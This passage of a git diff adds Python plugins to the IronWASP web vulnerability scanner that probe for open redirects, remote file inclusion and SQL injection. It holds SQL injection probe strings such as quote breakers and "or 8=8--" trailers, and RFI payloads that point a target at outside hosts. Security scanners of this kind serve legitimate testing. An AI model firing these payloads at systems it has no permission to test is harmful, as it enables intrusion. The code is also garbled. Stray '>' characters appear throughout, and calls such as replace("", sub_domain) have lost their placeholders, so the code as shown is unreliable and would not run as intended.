refresh.split(";", 1) + if len(r_parts) == 2: + r_url = r_parts[1].lower().strip().lstrip("url=").strip().strip("'").strip('"') + if r_url.startswith(redirect_url.lower()): + return True + return False + + def ReportOpenRedirect(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("Open Redirect Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Open Redirect Found" + pr.Summary = "Open redirect been detected in the '{0}' parameter of the {1} section of the request. {2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Open Redirect is an issue where it is possible to redirect the user to any arbitrary website from the vulnerable site. For more details on this issue refer >http://cwe.mitre.org/data/definitions/601.html>>>" + return Summary + + def GetReason(self, payload, redir_type): + payload = Tools.EncodeForTrace(payload) + + #Reason = Reason + "IronWASP sent http://vulnsite.example.com as payload to the application. The response that came back from the application to this payload had" + Reason = "IronWASP sent >{0}> as payload to the application. The response that came back from the application to this payload had ".format(payload) + + if redir_type == "Location-Header": + Reason = Reason + "the value >{0}> in its 'Location' header.".format(payload) + elif redir_type == "Location-Meta": + Reason = Reason + "the value >{0}> in its meta http-equiv tag for 'Location'. This is equivalent to having this value in the 'Location' header.".format(payload) + elif redir_type == "Refresh-Header": + Reason = Reason + "the value >{0}> in its 'Refresh' header.".format(payload) + elif redir_type == "Refresh-Meta": + Reason = Reason + "the value >{0}> in its meta http-equiv tag for 'Refresh'. This is equivalent to having this value in the 'Refresh' header.".format(payload) + elif redir_type.startswith("JS"): + Reason = Reason + "the value >{0}> inside JavaScript of the page in such a way that it would cause a redirection to this value.".format(payload) + + ReasonType = redir_type + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually send this payload from the browser and observe is the page is actually being redirect outside. If the browser does not perform a redirect then observe the HTML source of the page and try to identify why the page does not redirect inspite of the payload URL occurring in a section of the page that would trigger a redirect." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + def GetResponseTriggerDesc(self, redir_type, domain): + if redir_type == "Location-Header": + return "This response contains a redirect to the domain {0} in its Location header. This redirect has been caused by the payload.".format(domain) + elif redir_type == "Location-Meta": + return "This response contains a redirect to the domain {0} in its meta http-equiv tag for 'Location'. This redirect has been caused by the payload.".format(domain) + elif redir_type == "Refresh-Header": + return "This response contains a redirect to the domain {0} in its Refresh header. This redirect has been caused by the payload.".format(domain) + elif redir_type == "Refresh-Meta": + return "This response contains a redirect to the domain {0} in its meta http-equiv tag for 'Refresh'. This redirect has been caused by the payload.".format(domain) + elif redir_type.startswith("JS"): + return "This response contains a redirect to the domain {0} in its JavaScript code. This redirect has been caused by the payload.".format(domain) + + return "This response contains a redirect to the domain {0}. This redirect has been caused by the payload.".format(domain) + +p = OpenRedirect() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/RemoteFileInclude.py b/plugins/active/RemoteFileInclude.py new file mode 100644 index 0000000..d45e12a --- /dev/null +++ b/plugins/active/RemoteFileInclude.py @@ -0,0 +1,205 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class RemoteFileInclude(ActivePlugin): + + prefixes = ["", "http://", "https://"] + suffixes = ["", "/", "/a"] + + def GetInstance(self): + p = RemoteFileInclude() + p.Name = "Remote File Include" + p.Description = "Active Plugin to check for Remote File Include vulnerabilities" + p.Version = "0.5" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForRemoteFileInclude() + + def CheckForRemoteFileInclude(self): + self.scnr.Trace(">>Checking for Remote File Include:>") + self.CheckForEchoBasedRemoteFileInclude() + self.CheckForTimeBasedRemoteFileInclude() + self.AnalyzeTestResult() + + def CheckForEchoBasedRemoteFileInclude(self): + self.scnr.Trace(">>Checking for Remote File Include with Echo:>") + for p in self.prefixes: + for s in self.suffixes: + payload = "{0}www.iana.org{1}".format(p, s) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.count("IANA is responsible for coordinating the Internet") > 0: + self.AddToTriggers(payload, "The payload in this request refers to the home page of iana.org. The payload is {0}".format(payload), "IANA is responsible for coordinating the Internet", "This response contains contents from the home page of iana.org. This was caused by the payload.") + self.scnr.ResponseTrace(" ==> >Response includes content from http://www.iana.org/. Indicates RFI>") + self.SetConfidence(3) + reason = self.GetEchoReason(payload, "IANA is responsible for coordinating the Internet", self.TriggerCount) + self.reasons.append(reason) + else: + self.scnr.ResponseTrace(" ==> Response does not seem to contain content from http://www.iana.org/.") + + def CheckForTimeBasedRemoteFileInclude(self): + self.scnr.Trace(">>Checking for Remote File Include with Time Delay:>") + self.IsResponseTimeConsistent = True + for p in self.prefixes: + for s in self.suffixes: + sd = self.GetUniqueSubdomain() + payload = "{0}.example.org{1}".format(p, s) + if self.IsResponseTimeConsistent: + self.CheckForRemoteFileIncludeWithSubDomainDelay(payload) + else: + break + + def CheckForRemoteFileIncludeWithSubDomainDelay(self, payload_raw): + worked = 0 + for ii in range(4): + res_times = [] + if worked == 2: + self.SetConfidence(1) + return + sub_domain = str(self.GetUniqueSubdomain()) + payload = payload_raw.replace("", sub_domain) + first_time = 0 + last_res_time = 0 + for i in range(4): + if i == 0: + self.scnr.Trace(">>Sending First Request with Payload - {0}:>".format(payload)) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + res_times.append(res.RoundTrip) + if i==0: + req_current = self.scnr.InjectedRequest + res_current = res + first_time = res.RoundTrip + self.scnr.ResponseTrace(" ==> Response time is {0}ms. This will be treated as the base time.".format(res.RoundTrip)) + else: + if i == 1: + last_res_time = res.RoundTrip + else: + if res.RoundTrip > (last_res_time + 150) or res.RoundTrip < (last_res_time - 150): + self.IsResponseTimeConsistent = False + self.scnr.ResponseTrace(">>Response times are inconsistent, terminating time based RFI check.>") + return + if res.RoundTrip >= first_time - 300: + self.scnr.ResponseTrace(" ==> Response time is {0}ms which is not 300ms lower than base time. Not an indication of RFI".format(res.RoundTrip)) + break + else: + self.scnr.ResponseTrace(" ==> Response time is {0}ms which is 300ms lower than base time. If this is repeated then it could mean RFI".format(res.RoundTrip)) + if i == 3: + worked = worked + 1 + self.scnr.SetTraceTitle("RFI Time Delay Observed Once", 5) + if worked == 2: + self.RequestTriggers.append(payload) + self.RequestTriggerDescs.append("The payload in this request refers to an non-existent domain {0}.example.org. The payload is {1}.".format(sub_domain, payload)) + self.ResponseTriggers.append("") + self.ResponseTriggerDescs.append("The first time this payload was sent the response took longer to come back. In subsequent attempts to send the same payload, including this one, the response came back much faster.") + self.TriggerRequests.append(req_current) + self.TriggerResponses.append(res_current) + self.scnr.Trace(">>Got a delay in first request with payload - {0}. The three requests after that with the same payload took 300ms less. Infering that this is due to DNS caching on the server-side this is a RFI!>".format(payload)) + reason = self.GetDelayReason(payload, res_times, "{0}.example.org".format(sub_domain), self.TriggerCount + 1) + self.reasons.append(reason) + + def GetUniqueSubdomain(self): + sd = "{0}r{1}".format(str(self.scnr.ID), Tools.GetRandomNumber(1, 10000)) + return sd + + def SetConfidence(self, conf): + if conf > self.confidence: + self.confidence = conf + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportRemoteFileInclude() + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def ReportRemoteFileInclude(self): + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Remote File Include Found" + #pr.Summary = "Remote File Include been detected in the '{0}' parameter of the {1} section of the request.>This was tested by injecting a payload with a unique domain name, then time taken to fetch the response is noted. If subsequent requests with the same payload return quicker then it is inferred that DNS cachcing of the domain name in the payload by the server has sped up the response times.>>>Test Trace:>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.scnr.GetTrace()) + pr.Summary = "Remote File Include been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + if self.confidence == 3: + pr.Confidence = FindingConfidence.High + elif self.confidence == 2: + pr.Confidence = FindingConfidence.Medium + else: + pr.Confidence = FindingConfidence.Low + self.scnr.AddFinding(pr) + self.scnr.SetTraceTitle("Remote File Include",10) + + def GetSummary(self): + Summary = "Remote File Include is an issue where it is possible execute or load contents from a file located on some remote web server through the target application. For more details on this issue refer >http://en.wikipedia.org/wiki/File_inclusion_vulnerability>>>" + return Summary + + def GetEchoReason(self, payload, echo_content, Trigger): + payload = Tools.EncodeForTrace(payload) + #Reason = "IronWASP sent http://www.iana.org/a as payload to the application. This payload refers to the home page of IANA. ".format(payload) + Reason = "IronWASP sent >{0}> as payload to the application. This payload refers to the home page of IANA. ".format(payload) + #Reason = Reason + "The response that came back for this payload had the string IANA is responsible for coordinating the Internet. ".format(payload) + Reason = Reason + "The response that came back for this payload had the string >{0}>. ".format(echo_content) + Reason = Reason + "This string is found in the home page of IANA. This indicates that the application fetched the home page of IANA and returned it in the response, which is RFI." + + ReasonType = "Echo" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the IANA website. After that you can try loading contents of other URLs and check if they get added in the response." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + def GetDelayReason(self, payload, res_times, domain, trigger): + payload = Tools.EncodeForTrace(payload) + #Reason = "IronWASP sent http://abcd1234.example.org/a four times to the application. The first time the payload was sent the response came back in 789ms. " + Reason = "IronWASP sent >{0}> four times to the application. The first time the payload was sent the response came back in >{1}ms>. ".format(payload, res_times[0]) + #Reason = Reason + "The second, third and fourth time the responses came back in >204ms>, >140ms> and >134ms> respectively. ".format(res_times[1], res_times[2], res_times[3]) + Reason = Reason + "The second, third and fourth time the responses came back in >{0}ms>, >{1}ms> and >{2}ms> respectively. ".format(res_times[1], res_times[2], res_times[3]) + Reason = Reason + "The second, third and fourth responses came back atleast 300ms quicker than the first one. " + #Reason = Reason + "abcd1234.example.org is an invalid subdomain. " + Reason = Reason + ">{0}> is a non-existent subdomain. If the server had RFI vulnerability then it would try to connect to this non-existent domain. ".format(domain) + Reason = Reason + "The first time the DNS resolution would have taken extra time. Subsequent attempts to connect to the same domain would be quicker due to DNS caching. Since similar behaviour was observed for the payload this indicates a RFI vulnerability." + + ReasonType = "TimeDelay" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually send the same payload but by changing the domain name to some other non-existent domain. " + FalsePositiveCheck = FalsePositiveCheck + "Send this modified payload multiple times and check if the first time takes about 300ms longer than the subsequent attempts. " + FalsePositiveCheck = FalsePositiveCheck + "If this behaviour is observed repeatedly then this is mostly likely a genuine RFI.>" + FalsePositiveCheck = FalsePositiveCheck + "Ofcourse the most concrete way to check this is to refer to a page on one of your public web servers in the payload and check if the target sever fetched that page." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, trigger, FalsePositiveCheck) + return FR + +p = RemoteFileInclude() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/SQLInjection.py b/plugins/active/SQLInjection.py new file mode 100644 index 0000000..b68bfd5 --- /dev/null +++ b/plugins/active/SQLInjection.py @@ -0,0 +1,990 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class SQLInjection(ActivePlugin): + + error_regex_raw = [] + error_regex = [] + time_check = [] + + def GetInstance(self): + p = SQLInjection() + p.Name = "SQL Injection" + p.Description = "Plugin to discover SQL Injection vulnerabilities" + p.Version = "0.6" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, Scnr): + + self.Scnr = Scnr + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.Confidence = 0 + self.base_response = self.Scnr.BaseResponse + + self.ErrorCount = [0,0,0] + self.Errors = [] + self.ErrorTriggerCount = 0 + + self.Scnr.Trace(">>Checking for SQL Injection:>") + overall_error_score = self.CheckForErrorBasedSQLi() + overall_blind_score = self.CheckForBlindSQLi() + + overall_score = overall_error_score + overall_blind_score + + if len(self.RequestTriggers) == self.ErrorTriggerCount and (self.ErrorCount[0] + self.ErrorCount[1] + self.ErrorCount[2]) > 0 and (self.ErrorCount[0] == self.ErrorCount[1] == self.ErrorCount[2]): + self.ReportSQLError(self.Errors) + elif overall_score > 7: + self.ReportSQLInjection(FindingConfidence.High) + elif overall_score > 4: + self.ReportSQLInjection(FindingConfidence.Medium) + elif overall_score > 3: + self.ReportSQLInjection(FindingConfidence.Low) + #overall_blind_score = self.CheckForBlindSQLi(Request, Scanner) + #overall_score = overall_error_score + overall_blind_score + #if(overall_score == 0): + # return + def CheckForErrorBasedSQLi(self): + self.Scnr.Trace(">>Checking for Error based Injection:>") + self.Scnr.Trace(">Sending a request with a normal value to get a Error baseline") + self.Scnr.RequestTrace(" Injected 123 - ") + err_base_res = self.Scnr.Inject("123") + self.Scnr.ResponseTrace(" ==> Code {0} | Length {0}".format(err_base_res.Code, err_base_res.BodyLength)) + + payloads = ["'", "\"", "\xBF'\"(", "(", ")"] + final_error_score = 0 + for payload in payloads: + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + if payload == "\xBF'\"(": + inj_res = self.Scnr.RawInject(payload) + else: + inj_res = self.Scnr.Inject(payload) + score = self.AnalyseInjectionResultForError(payload, inj_res, err_base_res) + if score > final_error_score: + final_error_score = score + self.ErrorTriggerCount = len(self.RequestTriggers) + return final_error_score + + def AnalyseInjectionResultForError(self, payload, payload_response, err_base_res): + res = payload_response + + triggers = [] + all_error_matches = {} + + error_score = 0 + for i in range(len(self.error_regex)): + error_re = self.error_regex[i] + error_re_raw = self.error_regex_raw[i] + matches = error_re.findall(res.BodyString) + if len(matches) > 0: + original_error_matches = error_re.findall(self.base_response.BodyString) + base_error_matches = error_re.findall(err_base_res.BodyString) + all_error_matches[error_re_raw] = [len(matches),len(original_error_matches), len(base_error_matches)] + triggers.extend(matches) + + self.ErrorCount[0] = self.ErrorCount[0] + len(matches) + self.ErrorCount[1] = self.ErrorCount[1] + len(original_error_matches) + self.ErrorCount[2] = self.ErrorCount[2] + len(base_error_matches) + + if len(all_error_matches) > 0: + self.Errors.extend(triggers) + for error_key,(inj_matches,base_matches,base_err_matches) in all_error_matches.items(): + self.Scnr.ResponseTrace(" >Got {0} occurance[s] of error signature. Normal Response had {1} occurance[s]>. Error Baseline Response had {2} occurance[s]>.>Error Signature:> {3}".format(inj_matches, base_matches, base_err_matches, error_key)) + if self.ErrorCount[0] == self.ErrorCount[1] == self.ErrorCount[2]: + error_score = 4 + else: + error_score = 7 + else: + self.Scnr.ResponseTrace(" No errors") + + if error_score > 0: + self.RequestTriggers.append(payload) + self.RequestTriggerDescs.append("The payload in this request is meant to trigger database error messages. The payload is {0}.".format(payload)) + self.ResponseTriggers.append("\r\n".join(triggers)) + self.ResponseTriggerDescs.append("This response contains database error messages.") + self.TriggerRequests.append(self.Scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(res) + self.TriggerCount = self.TriggerCount + 1 + + reason = self.GetErrorReason(payload, triggers, self.TriggerCount) + self.reasons.append(reason) + + return error_score + + def CheckForBlindSQLi(self): + self.Scnr.Trace(">>Checking for Blind Injection:>") + is_int = False + int_value = 0 + str_value = "" + str_value = self.Scnr.PreInjectionParameterValue.replace("'","").replace('"',"") + try: + int_value = int(self.Scnr.PreInjectionParameterValue) + is_int = True + except: + pass + blind_int_math_score = 0 + blind_str_conc_score = 0 + blind_bool_score = 0 + blind_time_score = 0 + + if is_int: + blind_int_math_score = self.InjectBlindIntMath(int_value) + else: + blind_int_math_score = self.InjectBlindIntMath(0) + + if len(str_value) > 1: + blind_str_conc_score = self.InjectBlindStrConc(str_value) + + blind_bool_score = self.InjectBlindBool() + + blind_time_score = self.CheckBlindTime() + + if blind_int_math_score + blind_str_conc_score + blind_bool_score + blind_time_score > 0: + return 6 + else: + return 0 + + def InjectBlindIntMath(self, int_value): + self.Scnr.Trace(">>Checking for Blind Injection with Integer Math:>") + + val = int_value + + #Addition Algo + #if val < 2 then val = 3 + #(val - 1) + 1 + #(val - 2) + 2 + # + #(val) + 5 + #(val - 1) + 6 + # + #(val) + "a" + #(val) + "b" + # + if val < 2: + val = 3#adjust the value to be suitable for addition based check + plus_left = [ val-1, val-2, val, val-1, val, val] + plus_right = [ 1, 2, 5, 6, "a", "b"] + + #Subtraction Algo + #(val + 1) - 1 + #(val + 2) - 2 + # + #if val < 6 then val = 11 + # + #(val) - 5 + #(val + 1) - 6 + # + #(val) - "a" + #(val) - "b" + # + val = int_value + if val < 6: + sub_val = 11#adjust the value to be suitable for subtraction based check + else: + sub_val = val + minus_left = [ val+1, val+2, sub_val, sub_val+1, val, val] + minus_right = [ 1, 2, 5, 6, "a", "b"] + symbols = [ "+", "-"] + keys = [ "a", "aa", "b", "bb", "c", "cc"] + + for ii in range(2): + sym = symbols[ii] + left = [] + right = [] + if sym == "+": + self.Scnr.Trace("> >Checking Addition:>") + left.extend(plus_left) + right.extend(plus_right) + else: + self.Scnr.Trace("> >Checking Subtraction:>") + left.extend(minus_left) + right.extend(minus_right) + + #variables to keep track for rechecking + first_strict_signature = "" + first_relaxed_signature = "" + second_strict_signature = "" + second_relaxed_signature = "" + confidence = 0 + vuln = False + first_strict_vuln = False + first_relaxed_vuln = False + + for j in range(2): + if j == 1 and not (first_strict_vuln or first_relaxed_vuln): + break + payloads = [] + requests = [] + responses = [] + sc = SimilarityChecker() + self.Scnr.Trace(">") + for i in range(6): + payload = "{0}{1}{2}".format(left[i], sym, right[i]) + self.Scnr.RequestTrace(" Request Key: '{0}' - Injecting {1} ".format(keys[i], payload)) + res = self.Scnr.Inject(payload) + #store the request and responses to be added to the vulnerability data if SQLi is found + payloads.append(payload) + requests.append(self.Scnr.InjectedRequest.GetClone()) + responses.append(res) + sc.Add(keys[i], res) + self.Scnr.ResponseTrace(" ==> Code-{0} Length-{1}".format(res.Code, res.BodyLength)) + sc.Check() + + self.Scnr.Trace("> The responses are analyzed for similarity based grouping to determine if injection succeeded.") + self.Scnr.Trace(" Analysis Results:") + self.Scnr.Trace(" Strict Groups Signature: {0}".format(sc.StrictGroupsSignature)) + self.Scnr.Trace(" Relaxed Groups Signature: {0}".format(sc.RelaxedGroupsSignature)) + + if j == 0: + first_strict_signature = sc.StrictGroupsSignature + first_relaxed_signature = sc.RelaxedGroupsSignature + + if self.IsBlindMathInjectableGroupingCheck(sc.StrictGroups): + self.Scnr.Trace(" >Strict Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_strict_vuln = True + else: + self.Scnr.Trace(" Strict Grouping does not indicates that injection succeeded.") + + if self.IsBlindMathInjectableGroupingCheck(sc.RelaxedGroups): + self.Scnr.Trace(" >Relaxed Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_relaxed_vuln = True + else: + self.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded.") + else: + second_strict_signature = sc.StrictGroupsSignature + second_relaxed_signature = sc.RelaxedGroupsSignature + vuln = False + + if first_strict_vuln and first_strict_signature == second_strict_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Strict Grouping does not indicate that injection succeeded.") + + if first_relaxed_vuln and first_relaxed_signature == second_relaxed_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Relaxed Grouping does not indicate that injection succeeded.") + + if vuln: + self.RequestTriggers.extend(payloads) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + + for i in range(len(payloads)): + self.ResponseTriggers.append("") + self.ResponseTriggerDescs.append("Refer to the 'Reasons' section of this vulnerabilty's description to understand how to interpret this response.") + if i < 4: + if sym == "+": + self.RequestTriggerDescs.append("The payload in this request tries to add the numbers {0} and {1}.".format(plus_left[i], plus_right[i])) + else: + self.RequestTriggerDescs.append("The payload in this request tries to subtract the number {0} from {1}.".format(minus_left[i], minus_right[i])) + else: + if sym == "+": + self.RequestTriggerDescs.append("The payload in this request is an invalid attempt to add the number {0} with string {1}.".format(plus_left[i], plus_right[i])) + else: + self.RequestTriggerDescs.append("The payload in this request is an invalid attempt to subtract the number {0} from the string {1}.".format(minus_left[i], minus_right[i])) + + self.TriggerCount = self.TriggerCount + 6 + + self.second_group = [] + for item in ["A", "B", "C", "D", "E", "F"]: + if self.first_group.count(item) == 0: + self.second_group.append(item) + + if sym == "+": + reason = self.GetBlindMathAddReason(payloads, plus_left[0] + plus_right[0], plus_left[2] + plus_right[2], self.first_group, self.second_group, self.TriggerCount) + else: + reason = self.GetBlindMathSubtractReason(payloads, minus_left[0] - minus_right[0], minus_left[2] - minus_right[2], self.first_group, self.second_group, self.TriggerCount) + self.reasons.append(reason) + + return confidence + return 0 + + def IsBlindMathInjectableGroupingCheck(self, groups): + self.first_group = [] + self.second_group = [] + + vuln = False + for group in groups: + if group.Count == 2 or group.Count == 4: + m = 0 + if group.HasKey("a") and group.HasKey("aa"): + m = m + 1 + if len(self.first_group) == 0: + self.first_group.append("A") + self.first_group.append("B") + else: + self.second_group.append("A") + self.second_group.append("B") + if group.HasKey("b") and group.HasKey("bb"): + m = m + 1 + if len(self.first_group) == 0: + self.first_group.append("C") + self.first_group.append("D") + else: + self.second_group.append("C") + self.second_group.append("D") + if group.HasKey("c") and group.HasKey("cc"): + m = m + 1 + if len(self.first_group) == 0: + self.first_group.append("E") + self.first_group.append("F") + else: + self.second_group.append("E") + self.second_group.append("F") + if (group.Count == 2 and m == 1) or (group.Count == 4 and m == 2): + #indicates SQL Injection report it + vuln = True + else: + vuln = False + break + return vuln + + def InjectBlindStrConc(self, str_value): + BlindConcInjectionScore = 0 + self.Scnr.Trace(">>Checking for Blind Injection with String Concatenation:>") + blind_str_conc_res = [] + if len(str_value) < 2: + str_value = "aaa" + str_value_first_part = str_value[:1] + str_value_second_part = str_value[1:] + + quotes = ["'", '"'] + joiners = [ '||', "+", " "] + keys = [ "Oracle", "MS SQL", "MySQL"] + requests = [] + responses = [] + + for quote in quotes: + if quote == "'": + self.Scnr.Trace("> >Checking with Single Quotes:>") + else: + self.Scnr.Trace("> >Checking with Double Quotes:>") + + #variables to keep track of rechecking + first_strict_signature = "" + first_relaxed_signature = "" + second_strict_signature = "" + second_relaxed_signature = "" + confidence = 0 + vuln = False + first_strict_vuln = False + first_relaxed_vuln = False + + for j in range(2): + if j == 1 and not (first_strict_vuln or first_relaxed_vuln): + break + payloads = [] + requests = [] + responses = [] + sc = SimilarityChecker() + self.Scnr.Trace(">") + for i in range(3): + payload = "{0}{1}{2}{3}{4}".format(str_value_first_part, quote, joiners[i], quote, str_value_second_part) + self.Scnr.RequestTrace(" Request Key: '{0}' - Injecting {1}".format(keys[i], payload)) + res = self.Scnr.Inject(payload) + payloads.append(payload) + requests.append(self.Scnr.InjectedRequest.GetClone()) + responses.append(res) + sc.Add(keys[i], res) + self.Scnr.ResponseTrace(" ==> Code-{0} Length-{1}".format(res.Code, res.BodyLength)) + + sc.Check() + + self.Scnr.Trace("> The responses are analyzed for similarity based grouping to determine if injection succeeded.") + self.Scnr.Trace(" Analysis Results:") + self.Scnr.Trace(" Strict Groups Signature: {0}".format(sc.StrictGroupsSignature)) + self.Scnr.Trace(" Relaxed Groups Signature: {0}".format(sc.RelaxedGroupsSignature)) + if j == 0: + first_strict_signature = sc.StrictGroupsSignature + first_relaxed_signature = sc.RelaxedGroupsSignature + + if self.IsBlindStrConcInjectableGroupingCheck(sc.StrictGroups): + self.Scnr.Trace(" >Strict Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_strict_vuln = True + else: + self.Scnr.Trace(" Strict Grouping does not indicates that injection succeeded.") + + if self.IsBlindStrConcInjectableGroupingCheck(sc.RelaxedGroups): + self.Scnr.Trace(" >Relaxed Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_relaxed_vuln = True + else: + self.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded.") + else: + second_strict_signature = sc.StrictGroupsSignature + second_relaxed_signature = sc.RelaxedGroupsSignature + vuln = False + db = "" + + if first_strict_vuln and first_strict_signature == second_strict_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>") + for g in sc.StrictGroups: + if g.Count == 1: + db = g.GetKeys()[0] + else: + self.Scnr.Trace(" Strict Grouping does not indicate that injection succeeded.") + + if first_relaxed_vuln and first_relaxed_signature == second_relaxed_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>") + for g in sc.RelaxedGroups: + if g.Count == 1: + db = g.GetKeys()[0] + else: + self.Scnr.Trace(" Relaxed Grouping does not indicate that injection succeeded.") + + if vuln: + self.RequestTriggers.extend(payloads) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + non_db = [] + non_db.extend(keys) + non_db.remove(db) + for i in range(len(payloads)): + self.ResponseTriggers.append("") + self.RequestTriggerDescs.append("The payload in this request tries to concatenate two strings as per {0} database's syntax. The payload is {1}".format(keys[i], payloads[i])) + if keys[i] == db: + self.ResponseTriggerDescs.append("This response is different from the responses recieved for the payloads that used {0} and {1} databases' concatenation syntax.".format(non_db[0], non_db[1])) + else: + non_db.remove(keys[i]) + self.ResponseTriggerDescs.append("This response is different from the response recieved for the payloads that used {0} database's concatenation syntax but similar to the response for the payload that used {1} database's concatenation syntax".format(db, non_db[0])) + non_db.append(keys[i]) + + self.TriggerCount = self.TriggerCount + 3 + + reason = self.GetBlindConcatReason(payloads, db, self.TriggerCount) + self.reasons.append(reason) + + return confidence + return 0 + + def IsBlindStrConcInjectableGroupingCheck(self, groups): + vuln = False + if len(groups) == 2: + vuln = True + return vuln + + def InjectBlindBool(self): + score = 0 + + self.Scnr.Trace(">>Checking for Blind Injection with Boolean check:>") + + prefix = self.Scnr.PreInjectionParameterValue + + int_trailers = [ "8=8--", "7=5--", "7=7--", "5=8--"] + char_trailers = [ "s=s", "s=r", "t=t", "t=r"] + keys = [ "true-a", "false-a", "true-b", "false-b"] + quotes = [ "'", '"'] + + self.Scnr.Trace("> >Checking with OR Operator:>") + clean_prefix = prefix.replace("'","").replace('"',"") + or_prefix = clean_prefix + "xxx"#this is to change the prefix to an invalid value to help with OR + for quote in quotes: + score = score + self.CheckForBlindBoolWith(or_prefix, quote, "or", int_trailers) + score = score + self.CheckForBlindBoolWith(or_prefix, quote, "or", char_trailers) + + #do one check with a number as prefix without any quotes + if clean_prefix == "21": + or_prefix = "22" + else: + or_prefix = "21" + score = score + self.CheckForBlindBoolWith(or_prefix, "", "or", int_trailers) + + self.Scnr.Trace("> >Checking with AND Operator:>") + for quote in quotes: + and_prefix = prefix.replace(quote, "") + score = score + self.CheckForBlindBoolWith(and_prefix, quote, "and", int_trailers) + score = score + self.CheckForBlindBoolWith(and_prefix, quote, "and", char_trailers) + + return score + + def CheckForBlindBoolWith(self, prefix, quote, operator, trailers): + keys = [ "true-a", "false-a", "true-b", "false-b"] + + #variables to keep track of rechecking + first_strict_signature = "" + first_relaxed_signature = "" + second_strict_signature = "" + second_relaxed_signature = "" + confidence = 0 + vuln = False + first_strict_vuln = False + first_relaxed_vuln = False + + for j in range(2): + if j == 1 and not (first_strict_vuln or first_relaxed_vuln): + break + payloads = [] + requests = [] + responses = [] + conditions = [] + sc = SimilarityChecker() + self.Scnr.Trace(">") + for i in range(len(trailers)): + payload = "{0}{1} {2} {3}".format(prefix, quote, operator, trailers[i].replace("", quote)) + 